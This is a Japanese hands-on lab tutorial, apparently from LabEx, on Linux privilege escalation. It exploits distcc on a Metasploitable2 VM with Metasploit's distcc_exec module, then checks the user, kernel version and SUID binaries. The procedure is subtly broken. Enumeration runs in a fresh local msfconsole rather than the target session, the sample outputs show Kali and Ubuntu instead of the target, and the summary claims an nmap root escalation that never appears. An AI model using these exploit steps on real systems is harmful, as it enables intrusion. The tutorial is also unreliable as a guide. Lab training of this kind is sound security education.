はじめに
この実験では、非ルートユーザーとしてアクセスを取得した後、Linux マシンで特権昇格を行う方法を学びます。Windows の特権昇格に関するオンラインチュートリアルは数多くありますが、この実験では特に Linux オペレーティングシステムでの特権昇格に焦点を当てています。
環境を準備する
このステップでは、Kali Linux コンテナと Metasploitable2 仮想マシンを含む、実験環境の必要なコンポーネントを起動します。
- ターミナルで以下のコマンドを実行して、Metasploitable2 仮想マシンを起動します。
sudo virsh start Metasploitable2
ターゲットマシンが起動するまで待ちます。起動には 1 ~ 3 分かかる場合があります。
targetホスト名に ping を送信して、仮想マシンが起動したかどうかをテストします。
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
- Kali Linux コンテナを起動し、その bash シェルに入ります。
docker run -ti --network host b5b709a49cd5 bash
- Kali コンテナ内で、
targetホスト名に ping を送信してネットワーク接続をテストします。
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
ターゲットマシンへの初期アクセスを取得する
このステップでは、Kali コンテナ内の Metasploit Framework (MSF) を使用して、Metasploitable2 ターゲットマシンへの初期アクセスを取得します。
- Kali コンテナ内で、Metasploit コンソールを起動します。
cd ~
msfconsole
- Metasploit コンソール内で、
distcc_execエクスプロイトモジュールを使用します。
use exploit/unix/misc/distcc_exec
- ターゲットホストの IP アドレスを設定します。
set RHOST 192.168.122.102
- エクスプロイトを実行して、ターゲットマシンへのアクセスを取得します。
exploit
エクスプロイトが成功すると、コマンドシェルセッションが開かれ、ターゲットマシンへのアクセスが取得できたことを示します。
Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します
現在のユーザー権限を確認する
初期アクセスを取得した後、さらなる特権昇格が必要かどうかを判断するために、現在のユーザーの特権を確認する必要があります。
- まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動します。
cd ~
msfconsole
- 現在のユーザーを確認します。
whoami
- ユーザー ID とグループ情報を確認します。
id
ユーザー ID が 0 (root) でない場合は、管理者アクセスを取得するために特権を昇格させる必要があります。
Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します
システム情報を列挙する
特権昇格を試みる前に、潜在的な脆弱性を特定するためにターゲットシステムに関する情報を収集する必要があります。
- まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動します。
cd ~
msfconsole
- Linux ディストリビューションのバージョンを確認します。
lsb_release -a
以下は、出力の例です。
[*] exec: lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2023.2
Codename: kali-rolling
- カーネルバージョンを確認します。
uname -a
以下は、出力の例です。
Linux iZj6ceecakbzgu9eomquhhZ 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 GNU/Linux
- 特権昇格に利用できる可能性のある SUID ファイルを検索します。
find / -perm -u=s -type f 2> /dev/null
出力には、古いバージョンで既知の特権昇格脆弱性がある /usr/bin/nmap バイナリが表示されます。Ctrl+C を押して終了します。
Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します
まとめ
この実験では、非 root ユーザーとして初期アクセスを取得した後、Linux マシンで特権昇格を行う方法を学びました。まず、Kali Linux コンテナと Metasploitable2 仮想マシンを使用して LabEx 環境をセットアップしました。次に、Metasploit Framework を使用して Distcc の脆弱性を悪用し、ターゲットマシンへの初期アクセスを取得しました。
root ユーザーではないことを確認した後、Linux ディストリビューションのバージョン、カーネルバージョン、SUID ファイルなど、ターゲットシステムに関する情報を収集しました。Nmap バイナリを潜在的な脆弱性として特定し、これを悪用して特権を root に昇格させました。
この実験を完了することで、Linux システムでの特権昇格のプロセスに関する実践的な経験を積むことができました。これはサイバーセキュリティの分野において重要なスキルです。また、システムの列挙と悪用に関するさまざまな Linux コマンドの使い方や、ソフトウェアの脆弱性を利用して高いアクセス権を取得する方法も学びました。



